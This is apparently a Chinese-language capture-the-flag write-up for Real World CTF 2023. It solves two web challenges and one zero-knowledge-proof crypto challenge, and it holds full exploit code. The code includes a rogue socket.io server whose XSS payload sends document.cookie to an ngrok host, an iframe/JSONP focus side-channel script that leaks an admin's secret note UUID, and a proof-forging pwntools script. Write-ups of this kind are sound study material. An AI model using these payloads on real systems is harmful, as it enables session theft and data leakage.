這次和 Balsn 的人參加了 Real World CTF 2023,解了 Web x2 和 Crypto x1
,也是簡單紀錄一下我的作法。
Web
ChatUWU
一題 client side 的題目,核心部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 function reset ( ) { location.href = `?nickname=guest${String (Math .random()).substr(-4 )} &room=textContent` } let query = new URLSearchParams (location.search ), nickname = query.get ('nickname' ), room = query.get ('room' ) if (!nickname || !room) { reset () } for (let k of query.keys ()) { if (!['nickname' , 'room' ].includes (k)) { reset () } } document .title += ' - ' + roomlet socket = io (`/${location.search} ` ), messages = document .getElementById ('messages' ), form = document .getElementById ('form' ), input = document .getElementById ('input' ) form.addEventListener ('submit' , function (e ) { e.preventDefault () if (input.value ) { socket.emit ('msg' , { from : nickname, text : input.value }) input.value = '' } }) socket.on ('msg' , function (msg ) { let item = document .createElement ('li' ), msgtext = `[${new Date ().toLocaleTimeString()} ] ${msg.from } : ${msg.text} ` room === 'DOMPurify' && msg.isHtml ? (item.innerHTML = msgtext) : (item.textContent = msgtext) messages.appendChild (item) window .scrollTo (0 , document .body .scrollHeight ) }) socket.on ('error' , msg => { alert (msg) reset () })
它伺服器端有用 DOMPurify 過濾 DOMPurify
channel
的內容,所以沒辦法從 server XSS。不過可見它會從
location.search
去 construct socket.io
的連接對象,而它裡面又是用不同的 parser (非 wnidow.URL
)
所以有機會搞事。
測試了一下發現 /?peko@miko
會被視為 host 的部分是
miko
,所以只要自己寫個 socket.io server 去送 payload
然後讓它連上去就 XSS 了。
URL:
http://47.254.28.30:58000/?nickname=peko@XXX.ngrok.io/?%23&room=DOMPurify
Server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 const app = require ('express' )()const http = require ('http' ).Server (app)const io = require ('socket.io' )(http, { cors : { origin : '*' , methods : ['GET' , 'POST' ] } }) const hostname = process.env .HOSTNAME || '0.0.0.0' const port = process.env .PORT || 8000 app.get ('/' , (req, res ) => { res.send ('123' ) }) io.on ('connection' , socket => { console .log (socket.handshake .query ) socket.on ('msg' , console .log ) console .log ('sending' ) socket.emit ('msg' , { from : 'xss' , text : '<img src onerror="(new Image).src=`https://XXX.ngrok.io?${document.cookie}`">' , isHtml : true }) }) http.listen (port, hostname, () => { console .log (`Exploit server running at http://${hostname} :${port} /` ) })
the cult of 8 bit
這題也是個 client side 的題目,目標是要偷到 admin 藏 flag 的 note url
就夠了,因為 url 本身只要知道 uuid 就能夠存取了,並沒有額外的 access
control。
題目關鍵在於 post.ejs
的這段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <script > <%_ if (locals.POST_SERVER ) { _%> const POST_SERVER = "<%= POST_SERVER %>" ; <%_ } else { _%> const POST_SERVER = "" ; <%_ } _%> const $ = document .querySelector .bind (document ); function load_post (post ) { if (!post.success ) { $("#post-name" ).innerText = "Error" ; $("#post-body" ).innerText = post.error ; return ; } $("#post-name" ).innerText = post.name ; $("#post-body" ).innerText = post.body ; } window .onload = function ( ) { const id = new URLSearchParams (window .location .search ).get ('id' ); if (!id) { return ; } const request = new XMLHttpRequest (); try { request.open ('GET' , POST_SERVER + `/api/post/` + encodeURIComponent (id), false ); request.send (null ); } catch (err) { let script = document .createElement ("script" ); script.src = `${POST_SERVER} /api/post/${id} ?callback=load_post` ; document .head .appendChild (script); return ; } load_post (JSON .parse (request.responseText )); } </script >
P.S. 那個 POST_SERVER
根本沒用到所以不用管它
這一看就讓我想起了我不久前在 HITCON CTF 2022 出的 Secure
Paste 題目,一樣有用到 url 參數去注入 jsonp callback。不過它這邊使用
jsonp 是做為一個 fallback 使用,所以需要讓那兩行 xhr 操作產生 error
才有機會利用。
要讓它產生 error 最常見的做法是讓它變成 null origin,這在 sandboxed
iframe 和 sandboxed iframe 所打開(window.open
)的 window
上才會產生。 (Ref: iframe 與
window.open 黑魔法 )
總之這麼做之後就能控制 jsonp callback,但是它又會經過這邊 的
replace 所以可做的事不多,就只能 call function 或是 delete property
而已。
我在這邊的時候又去看了其他地方的 code 發現說 home.ejs
有這個:
1 <a target ="_blank" href =<%= todo.text %> >
顯然,只要用 https://a? onfocus=alert() id=x
然後瀏覽該頁面的時候加上 #x
就能 XSS 了,而 todo 又是 per
account 的東西,因此這是個 self XSS。
常見的 self XSS to XSS 的招數是透過 csrf login 達成的,但是這題的
login route 又有用 csrf token
保護住,所以沒辦法直接做,因此我就想說能不能用前面那個 jsonp 的地方去偷
csrf token。
我參考了 Secure Paste 的這個 unintended
solution ,透過 focus 可以做到 char by char side channel leak
那個頁面上的任何東西,也真能成功的獲得 csrf token 的單個字元。不過當我想
leak 整個 token 時才發現它每次刷新頁面時 token 都會換,然後 server
本身也有 Cache-Control: no-store
所以就把這條路堵死了。
此時我再想到說這個 jsonp 的 leak 技巧其實也能結合 window reference 去
leak 其他頁面上的東西,這也是原本那個 unintended solution
在做的事,然而在這邊施行時很不幸的會被 null origin
這個事實給擋住。而要能控制 jsonp callback 的條件又是要讓頁面先成為 null
origin 然後 xhr 才會 error,所以可行的路就全堵死了...?
後來我在這邊卡了一段時間才想到 iframe 有個 allow
attribute,它裡面可以寫一些 policy 去控制 iframe 裡面可以存取的功能,而
sync-xhr
也是它能控制的其中一項。因此只要把
sync-xhr
擋掉的話那麼我們就能在 same origin 的情況下控制
jsonp callback,然後由此 leak 其他頁面上的東西 (如 home page 的 flag
url)。
測試了一下發現這個真的能行,不過它這個 allow 的 policy 和 sandbox
還是有些不太一樣的地方,就是 sandbox 屬性是會被它
window.open
打開的視窗繼承的,但是 allow
不會。幸虧這題沒有阻擋我們把目標網站塞到 iframe
中,所以這並不是問題。
後來就結合 window reference 去 leak home page 的 flag url,然後也在
local 的正常 Chromium 下完整 leak uuid,不過在 headless Chromium
才發現說我在 iframe
裡面加的 onfocus
不知為何不起作用,所以只好參考 unintended
solution 原作者 的方法,改用 setInterval
和
document.activeElement.name
來正確偵測
focus,而這個方法也確實能在 headless Chromium 下正常運作。
index.html
:
1 2 3 4 5 <script > const host = 'http://localhost:12345' window .open ('/exp.html' , '_blank' ) location = host </script >
exp.html
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <script > const elonload = el => new Promise (resolve => { el.onload = () => { el.onload = null resolve () } }) const newFrame = (name, cb = () => {} ) => { const frame = document .createElement ('iframe' ) frame.name = name frame.srcdoc = name cb (frame) document .body .appendChild (frame) return frame } const log = (...msg ) => { console .log (...msg) fetch (`/log/${msg[0 ]} ` , { method : 'POST' , body : JSON .stringify (msg, null , 2 ) }) } window .onload = async () => { const host = 'http://localhost:12345' const id = '961efacc-78b1-4eb9-8b81-f8001560e9e2x' const HEX = [...'0123456789abcdef-' ] const hexFrames = HEX .map (c => newFrame (c, f => (f.style .display = 'none' ))) const fr = newFrame ('fr' ) const sbx = newFrame ('sbx' , f => { f.allow = "sync-xhr 'none'" f.srcdoc = `sbx<script>onmessage = e=> eval(e.data)</` + `script>` }) await Promise .all ([fr, sbx].concat (hexFrames).map (elonload)) const makePromise = ( ) => new Promise (res => { const it = setInterval (() => { const p = document .activeElement .name if (HEX .includes (p)) { document .body .focus () res (p) console .log (p) clearInterval (it) } }, 500 ) }) log ('prepare done' ) let res = '' for (let i = 0 ; i < 36 ; i++) { const callback = `top.frames[top.opener.document.body.children[1].children[0].children[0].children[0].children[3].children[0].children[0].children[0].textContent[${i} ]].focus` sbx.contentWindow .postMessage ( `location = '${host} /post/?' + new URLSearchParams({id: '${id} ' + '?callback=${callback} #'}).toString()` , '*' ) res += await makePromise () log (res) sbx.srcdoc = `sbx<script>onmessage = e=> eval(e.data)</` + `script>` await elonload (sbx) } log ('done' ) } </script > rwctf{val3ntina_e5c4ped_th3_cu1t_with_l33t_op3ner}
Crypto
0KPR00F
這題是個和 ZK Proof 有關的題目,會用到一個適合 pairing 的曲線
bn128。這雖然聽起來很恐怖但是實際上很簡單,因為這題的目標就是它會給你
proving key,然後你要用這個 key 來產生一個 proof 來通過 verifying key
的驗證。
推薦文章: BLS12-381 For The Rest
Of Us , BN254 For The Rest Of
Us
這題需要知道的知識其實只有 pairing
的基本性質而已,也就是它是雙線性函數的這件事:
不過因為 bn128 實際上有用到 twist,所以會有 和 兩個
subgroup,所以 pairing
其實是:
這邊把 反過來寫是因為
py_ecc
中的 pairing
函數就是這樣定義的,所以順序不能任意交換,不過前面所說的性質也還存在。
Key generation
一開始會先選兩個隨機數 ,然後計算 PKC
和
PKCa
兩個 list,以 (PKC, PKCa)
作為 proving
key:
是代表一個長度,以這題的情況來說是 。而這邊 所指的是兩個 generator。
再來是 verifying key (VKa, VKz)
:
其中
是個多項式,以這題來說
Verification
proof 是三個 中的點
(PiC, PiCa, PiH)
,它要符合:
這邊可以把 verifying key 展開:
所以最後得到:
Solution
所以要讓它成立的話最簡單是取 ,那麼
可以利用前面的
來計算:
同時 也可利用前面的
來計算:
所以這樣就能解掉這題了,不過正常的 zk proof 應該是會取 來做 (純猜測)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import osfrom py_ecc import bn128from pwn import remoteimport astlib = bn128 FQ, FQ2, FQ12, field_modulus = lib.FQ, lib.FQ2, lib.FQ12, lib.field_modulus G1, G2, G12, b, b2, b12, is_inf, is_on_curve, eq, add, double, curve_order, multiply = ( lib.G1, lib.G2, lib.G12, lib.b, lib.b2, lib.b12, lib.is_inf, lib.is_on_curve, lib.eq, lib.add, lib.double, lib.curve_order, lib.multiply, ) pairing, neg = lib.pairing, lib.neg def sum_points (ps ): R = add(ps[0 ], ps[1 ]) for p in ps[2 :]: R = add(R, p) return R io = remote("47.254.47.63" , 13337 ) io.recvline() io.recvline() io.recvline() PKC, PKCa = ast.literal_eval(io.recvlineS().strip()) PKC = [(FQ(x), FQ(y)) for x, y in PKC] PKCa = [(FQ(x), FQ(y)) for x, y in PKCa] print (PKC)print (PKCa)assert len (PKC) == 7 assert len (PKCa) == 7 PiH = G1 poly = [24 , -50 , 35 , -10 , 1 ] PiC = sum_points([multiply(P, a % curve_order) for a, P in zip (poly, PKC)]) PiCa = sum_points([multiply(P, a % curve_order) for a, P in zip (poly, PKCa)]) proof = (PiC, PiCa, PiH) print (str (proof))io.sendline(str (proof).encode()) io.interactive()